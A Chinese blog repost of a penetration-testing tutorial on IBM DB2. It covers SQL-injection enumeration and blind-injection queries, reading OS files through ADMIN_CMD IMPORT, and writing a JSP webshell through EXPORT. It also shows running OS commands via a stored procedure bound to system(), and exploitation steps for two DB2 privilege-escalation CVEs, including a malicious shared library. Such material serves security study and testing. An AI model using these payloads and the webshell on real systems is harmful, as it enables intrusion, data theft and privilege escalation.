• DB2在渗透中的应用(转载)


    原文地址:http://www.vuln.cn/6160

    x00 DB2简介

    DB2是IBM公司推出关系型数据库管理系统。

    现今DB2主要包含以下三个系列:

    DB2 for Linux, UNIX and Windows(LUW)
    DB2 for z/OS
    DB2 for i(formerly OS/400)
    

    IBM DB2定位于高端市场,广泛应用于企业级应用中

    DB2 SQL注入相关问题

    获取DB2数据库信息的语句

    获取数据库版本:

    #!sql
    
    SELECT service_level FROM table(sysproc.env_get_inst_info()) as instanceinfo
    

    获取当前用户:

    #!sql
    
    SELECT user FROM sysibm.sysdummy1
    
    SELECT session_user FROM sysibm.sysdummy1
    
    SELECT system_user FROM sysibm.sysdummy1
    

    获取数据库的用户:

    #!sql
    
    SELECT distinct(authid) FROM sysibmadm.privileges
    
    SELECT distinct(grantee) FROM sysibm.systabauth
    

    获取数据库表的权限:

    #!sql
    
    SELECT * FROM syscat.tabauth
    

    获取当前用户的权限:

    #!sql
    
    SELECT * FROM syscat.tabauth where grantee = current user
    

    列出数据库的DBA账户:

    #!sql
    
    SELECT distinct(grantee) FROM sysibm.systabauth where CONTROLAUTH='Y'
    

    获取当前数据库:

    #!sql
    
    SELECT current server FROM sysibm.sysdummy1
    

    获取当前数据库中所有表:

    #!sql
    
    SELECT table_name FROM sysibm.tables
    
    SELECT name FROM sysibm.systables
    

    获取当前数据库中所有列:

    #!sql
    
    SELECT name, tbname, coltype FROM sysibm.syscolumns
    

    获取数据库所在主机相关信息:

    #!sql
    
    SELECT * FROM sysibmadm.env_sys_info
    

    DB2 SQL语句特性

    注释符:

    DB2数据库使用双连字符--作为单行注释,使用/**/作为多行注释

    SELECT中获得前N条记录的SQL语法:

    #!sql
    
    SELECT * FROM sysibm.systables ORDER BY name ASC fetch first N rows only
    

    截取字符串:

    #!sql
    
    SELECT substr('abc',2,1) FROM sysibm.sysdummy1
    

    上述语句会得到字符b

    比特操作AND/OR/NOT/XOR

    #!sql
    
    SELECT bitand(1,0) FROM sysibm.sysdummy1
    

    上述语句会得到0

    字符与ASCII码互相转换:

    #!sql
    
    SELECT chr(65) FROM sysibm.sysdummy1
    

    上述语句会得到字符’A’

    #!sql
    
    SELECT ascii('A') FROM sysibm.sysdummy1
    

    上述语句会得到字符’A’的ASCII码65

    类型转换:

    #!sql
    
    SELECT cast('123' as integer) FROM sysibm.sysdummy1
    

    上述语句将字符串”123”转为数据123

    #!sql
    
    SELECT cast(1 as char) FROM sysibm.sysdummy1
    

    上述语句将数字1转为字符串”1”

    字符串连接:

    #!sql
    
    SELECT 'a' concat 'b' concat 'c' FROM sysibm.sysdummy1
    
    SELECT 'a' || 'b' || 'c' FROM sysibm.sysdummy1
    

    上述两个语句都会返回字符串”abc”

    获取长度:

    #!sql
    
    SELECT LENGTH(NAME) FROM SYSIBM.SYSCOLUMNS WHERE TBNAME='VOTE' ORDER BY NAME DESC FETCH FIRST 1 ROWS ONLY
    

    条件语句:

    #!sql
    
    SELECT CASE WHEN (1=1) THEN 'AAAAAAAAAA' ELSE 'BBBBBBBBBB' END FROM sysibm.sysdummy1
    

    上述语句将返回字符串’AAAAAAAAAA’

    时间延迟:

    #!sql
    
    and (SELECT count(*) FROM sysibm.columns t1, sysibm.columns t2, sysibm.columns t3)>0 and (SELECT ascii(substr(user,1,1)) FROM sysibm.sysdummy1)=68
    

    上述语句若user的第一个字符的ASCII码为68将造成延时

    UNION操作符:

    DB2支持在SELECT语句中使用UNION操作符,UNION的各列必须类型相同才不会报错。

    且不能直接使用SELECT … FROM … UNION SELECT NULL, NULL … FROM …的方法。DB2在SELECT中使用NULL需要指定类型,如下:

    #!sql
    
    select ... cast(NULL as int) as column_A, cast(NULL as varchar(128)) as column_B, ... FROM ...
    

    多语句查询:

    DB2不支持形如statement1; statement2形式的多语句查询

    DB2的SQL注入方法

    对DB2进行SQL注入通用的方法是使用盲注,利用上两个小结的内容通过盲注获取数据库信息。

    由于DB2的UNION操作符限制较多,因此利用UNION注入很多时候不会成功。由于DB2不支持多语句查询,因此无法通过多语句查询方法注入并调用存储过程。

    另外,可利用数据库的报错信息通过SQL注入获取部分敏感信息,如下:

    先使用通用的orderby方法猜出列数

    在查询的条件后附加group by 1--会显示本次查询的表中的第一列列名ID,之后将条件改为group by ID--得到第二列的列名NAME,依次增加group by后的列名,如group by ID, NAME,将枚举当前表中的所有列

    DB2的SQL注入工具

    经测试针对DB2的SQL注入工具中sqlmap相对具有可用性,部分截图如下:

    但经测试其仍然存在一些问题,如获取列信息不全、盲注功能不好用等

    0x04 利用DB2读写操作系统文件

    在渗透测试中可以使用DB2读写系统文件,达到获取敏感信息、写webshell等目的。

    本节所描述方法在DB2 V9.5 Windows, Linux下测试成功

    利用DB2读操作系统文件

    DB2使用IMPORT命令从文件中读取内容并插入到数据库表中,使用方法:

    #!sql
    
    IMPORT FROM C:Windowswin.ini OF DEL INSERT INTO CONTENT
    

    上述命令运行后即可将C:Windowswin.ini的内容插入到表CONTENT中

    DB2的ADMIN_CMD存储过程用于执行DB2命令行(CLP)命令,其schema为SYSPROC,从8.2.2版本开始引入 该存储过程语法:

    #!sql
    
    ADMIN_CMD('command_string')
    

    参数command_string为要运行的命令

    调用存储过程使用CALL语句,语法:

    #!sql
    
    CALL ADMIN_CMD('command_string')
    

    调用ADMIN_CMD存储过程执行IMPORT命令将文件读入数据库表方法:

    #!sql
    
    CALL ADMIN_CMD('IMPORT FROM C:Windowswin.ini OF DEL INSERT INTO CONTENT');
    

    运行该存储过程的结果:

    远程连接数据库的用户可以通过调用ADMIN_CMD存储过程读取操作系统文件,经测试(DB2 V9.5)数据库普通用户默认具有调用ADMIN_CMD存储过程的权限,远程连接数据库的用户可以首先创建一个表(或对已存在的IMPORT命令涉及的表有INSERT和SELECT权限),然后调用ADMIN_CMD存储过程运行IMPORT命令将文件读入创建的表中。如下:

    远程连接数据库并调用ADMIN_CMD存储过程运行IMPORT命令:

    读取的文件信息:

    利用DB2向操作系统写文件

    DB2的EXPORT命令用于将数据库中的内容导入到文件中,使用语法如下:

    #!sql
    
    EXPORT TO result.csv OF DEL MODIFIED BY NOCHARDEL SELECT col1, col2, coln FROM testtable;
    

    使用上一小节提到的ADMIN_CMD存储过程运行该命令方法:

    #!sql
    
    CALL SYSPROC.ADMIN_CMD ('EXPORT TO C:RESULT.TXT OF DEL MODIFIED BY NOCHARDEL SELECT * FROM VOTENAME');
    

    调用过程和结果:

    远程连接数据库的用户可以先创建一个表(或对EXPORT命令涉及的表具有SELECT权限),然后调用ADMIN_CMD存储过程执行EXPORT命令向操作系统写文件

    向操作系统写入包含某些字符串的文件语法如下:

    #!sql
    
    CALL SYSPROC.ADMIN_CMD ('EXPORT TO C:RESULT.TXT OF DEL MODIFIED BY NOCHARDEL SELECT ''My Content'' FROM VOTENAME FETCH FIRST 1 ROWS ONLY');
    

    远程调用结果:

    利用该方法写webshell语法:

    #!sql
    
    CALL SYSPROC.ADMIN_CMD ('EXPORT TO C:RESULT.jsp OF DEL MODIFIED BY NOCHARDEL SELECT ''<%if(request.getParameter("f")!=null){(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("c").getBytes());response.getWriter().print("[OK]");}%>'' FROM VOTENAME FETCH FIRST 1 ROWS ONLY');
    

    远程调用结果:

    注:
    通过EXPORT向文件写入自定义字符串内容时SELECT的表中必须至少有一条记录否则写入内容为空

    0x05 利用DB2执行操作系统命令

    可利用DB2存储过程执行操作系统命令。远程连接数据库的用户需要具有创建存储过程的权限,连接数据库后创建一个可以执行操作系统命令的存储过程并调用。

    创建此种存储过程并调用的语法如下:

    Windows:

    #!sql
    
    CREATE PROCEDURE db2_cmd_exec (IN cmd varchar(200))
    
    EXTERNAL NAME 'c:windowssystem32msvcrt!system'
    
    LANGUAGE C
    
    DETERMINISTIC
    
    PARAMETER STYLE DB2SQL
    
     
    
    CALL db2_cmd_exec ('whoami /all > C:whoami.log')
    

    Linux:

    #!sql
    
    CREATE PROCEDURE db2_cmd_exec (IN cmd varchar(200))
    
    EXTERNAL NAME '/usr/lib/libstdc++.so.6!system'
    
    LANGUAGE C
    
    DETERMINISTIC
    
    PARAMETER STYLE DB2SQL
    
     
    
    call db2_cmd_exec ('whoami > /tmp/whoami.log')
    

    运行结果:

    注:

    创建的存储过程默认为FENCED(受保护的),例如对于Linux下DB2的,使用db2inst1用户连接数据库创建并运行上述存储,DB2服务器端实际是以db2fenc1用户运行该存储过程的。

    FENCED存储过程单独启用一个新的地址空间,而UNFENCED存储过程和调用它的进程使用用一个地址空间,一般来说FENCED存储过程比较安全。

    若要创建NOTFENCED的存储过程(需要具有SYSADM特权、DBADM 特权或一个特殊的特权(CREATE_NOT_FENCED)),需要在创建存储过程中指定,如下

    #!sql
    
    CREATE PROCEDURE db2_cmd_exec (IN cmd varchar(200))
    
    EXTERNAL NAME '/usr/lib/libstdc++.so.6!system'
    
    LANGUAGE C
    
    DETERMINISTIC
    
    PARAMETER STYLE DB2SQL
    
    NOT FENCED
    

    0x06 利用DB2提权

    本节介绍两个DB2提权漏洞原理及利用方法

    CVE-2014-0907

    CVE-2014-0907是一个DB2本地提权漏洞,受影响版本为AIX, Linux, HP-UX以及Solaris上的DB2 V9.5(FP9之前的V9.5不受影响), V9.7, V10.1, V10.5版本

    CVE-2014-0907漏洞允许一个本地普通用户获取到root权限

    DB2的db2iclean程序会在当前目录下搜索libdb2ure2.so.1库文件,下图为执行该程序时对库文件的访问情况,可见DB2对于libdb2ure2.so.1库文件的搜索在当前目录先于DB2安装目录

    #!sql
    
    strace -o /tmp/db2iclean.log  /home/db2inst1/sqllib/adm/db2iclean
    

    如果当前目录下有恶意用户写入的同名库文件,则DB2程序会加载该文件并执行其中的代码。由于db2iclean命令是SUID root权限,因此恶意代码会以root权限被运行。

    如将下列代码编译为库文件并放在当前目录下:

    #!cpp
    
    // libdb2ure2.cpp
    
    #include <stdlib.h>
    
    int iGetHostName(char* n, int i)
    
    {
    
        system("id > /m.log");
    
    }
    
     
    
    $ gcc -shared -o libdb2ure2.so.1 libdb2ure2.cpp
    

    使用db2iadm1组的普通用户运行db2iclean程序:

    #!sql
    
    <DB2_instance_install_directory>/adm/db2iclean
    

    可见此时euid为0,代码以root权限运行

    注意:由于db2iclean不是公开执行权限,所以攻击者需要使用db2iadm1组用户执行,或诱使该组成员在攻击者写入了恶意库文件的目录下执行该程序。

    CVE-2013-6744

    CVE-2013-6744是DB2在windows平台下的提权漏洞,利用该漏洞将使windows普通用户获取到Administrator权限

    存在漏洞的DB2版本:

    9.5, 9.7 FP9a之前版本
    10.1 FP3a之前版本
    10.5 FP3a之前版本
    

    利用该漏洞需要有一个可以连接DB2数据库的用户,且该用户具有创建外部例程的权限(CREATE_EXTERNAL_ROUTINE)

    该漏洞原理为:在Windows平台特权帐户默认情况下,DB2服务运行时并不受访问控制检查,这意味着可以通过CREATE_EXTERNAL_ROUTINE权限创建一个库文件并且形成调用,从而权限得以提升。

    漏洞利用步骤:

    1.使用具有CREATE_EXTERNAL_ROUTINE权限的用户运行以下DDL,利用C runtime system来创建一个存储过程:

    #!sql
    

    CREATE PROCEDURE db2_exec (IN cmd varchar(1024)) EXTERNAL NAME 'msvcrt!system' LANGUAGE C DETERMINISTIC PARAMETER STYLE DB2SQL

    2.调用刚才创建的存储过程:

    #!sql
    
    CALL db2_exec('whoami /all > C:whoami.log')
    

    查看命令创建的whoami.log文件,发现包含了db2admin信息。这意味着,我们用一个非管理员账户成功用管理员权限执行了命令。

    转载自:http://www.vuln.cn/6160,原乌云文章。

  • 相关阅读:
    招聘里常见的沟通能力到底是什么
    C++服务器linux开发环境管理
    网络游戏通信协议双向迭代加密
    win10控制台程序printf死锁问题
    手游系统逻辑档案之通信协议
    STL插入删除和查询测试
    MATLAB复制图片时边框大的问题
    2019网易笔试题C++--丰收
    暴力求解最长公共子串
    顺时针打印矩阵
  • 原文地址:https://www.cnblogs.com/micr067/p/14257664.html
Copyright © 2020-2023  润新知